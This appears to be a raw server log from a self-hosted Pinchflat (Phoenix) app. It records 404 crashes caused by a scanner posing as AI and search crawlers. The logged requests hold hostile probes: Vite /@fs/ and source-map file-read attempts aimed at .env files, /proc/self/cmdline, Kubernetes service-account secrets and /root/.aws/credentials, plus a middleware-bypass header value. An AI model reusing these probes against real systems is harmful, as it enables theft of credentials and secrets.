"accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/app/.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34046}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middle (truncated) 16:49:07.792 [info] GET /@fs/var/run/secrets/kubernetes.io/serviceaccount/ca.crt 16:49:07.792 [debug] QUERY OK source="settings" db=0.0ms idle=55.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.792 [debug] QUERY OK source="settings" db=0.0ms idle=54.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.792 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.793 [info] GET /@fs/proc/self/cmdline 16:49:07.792 [error] #PID<0.29699.0> running PinchflatWeb.Endpoint (connection #PID<0.29698.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/var/run/secrets/kubernetes.io/serviceaccount/ca.crt?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/var/run/secrets/kubernetes.io/serviceaccount/ca (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29698.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/var/run/secrets/kubernetes.io/serviceaccount/ca.crt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34052}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29699.0>, params: %{"raw??" => ""}, path_info: ["@fs", "var", "run", "secrets", "kubernetes.io", "serviceaccount", "ca"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/var/run/secrets/kubernetes.io/serviceaccount/ca.crt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61cL1Edg62qUABwKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29698.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/var/run/secrets/kubernetes.io/serviceaccount/ca.crt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34052}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/var/run/secrets/kubernetes.io/serviceaccount/ca (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29698.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/var/run/secrets/kubernetes.io/serviceaccount/ca.crt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34052}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "ht (truncated) 16:49:07.794 [debug] QUERY OK source="settings" db=0.0ms idle=55.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.794 [debug] QUERY OK source="settings" db=0.0ms idle=50.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.794 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.794 [error] #PID<0.29701.0> running PinchflatWeb.Endpoint (connection #PID<0.29700.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/proc/self/cmdline?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/proc/self/cmdline (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29700.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/proc/self/cmdline", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34062}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29701.0>, params: %{"raw??" => ""}, path_info: ["@fs", "proc", "self", "cmdline"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/proc/self/cmdline", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61cMLuhTuZwEABwKh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29700.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/proc/self/cmdline", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34062}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/proc/self/cmdline (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29700.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/proc/self/cmdline", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34062}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:07.898 [info] GET /__vite_rsc_findSourceMapURL 16:49:07.898 [debug] QUERY OK source="settings" db=0.0ms idle=154.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.898 [debug] QUERY OK source="settings" db=0.0ms idle=105.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.898 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.898 [error] #PID<0.29703.0> running PinchflatWeb.Endpoint (connection #PID<0.29702.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__vite_rsc_findSourceMapURL?filename=file:///app/.env&environmentName=rsc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__vite_rsc_findSourceMapURL (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__vite_rsc_findSourceMapURL", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34068}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "filename=file:///app/.env&environmentName=rsc", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29703.0>, params: %{"environmentName" => "rsc", "filename" => "file:///app/.env"}, path_info: ["__vite_rsc_findSourceMapURL"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{ "environmentName" => "rsc", "filename" => "file:///app/.env" }, query_string: "filename=file:///app/.env&environmentName=rsc", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/__vite_rsc_findSourceMapURL", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61clAd5mDOZYABMUi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__vite_rsc_findSourceMapURL", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34068}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "filename=file:///app/.env&environmentName=rsc", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__vite_rsc_findSourceMapURL (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__vite_rsc_findSourceMapURL", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34068}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" = (truncated) 16:49:07.914 [info] GET /__vite_rsc_findSourceMapURL 16:49:07.914 [debug] QUERY OK source="settings" db=0.0ms idle=122.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.914 [debug] QUERY OK source="settings" db=0.0ms idle=120.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.915 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.915 [error] #PID<0.29705.0> running PinchflatWeb.Endpoint (connection #PID<0.29704.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__vite_rsc_findSourceMapURL?filename=file:///root/.aws/credentials&environmentName=rsc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__vite_rsc_findSourceMapURL (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__vite_rsc_findSourceMapURL", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34082}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 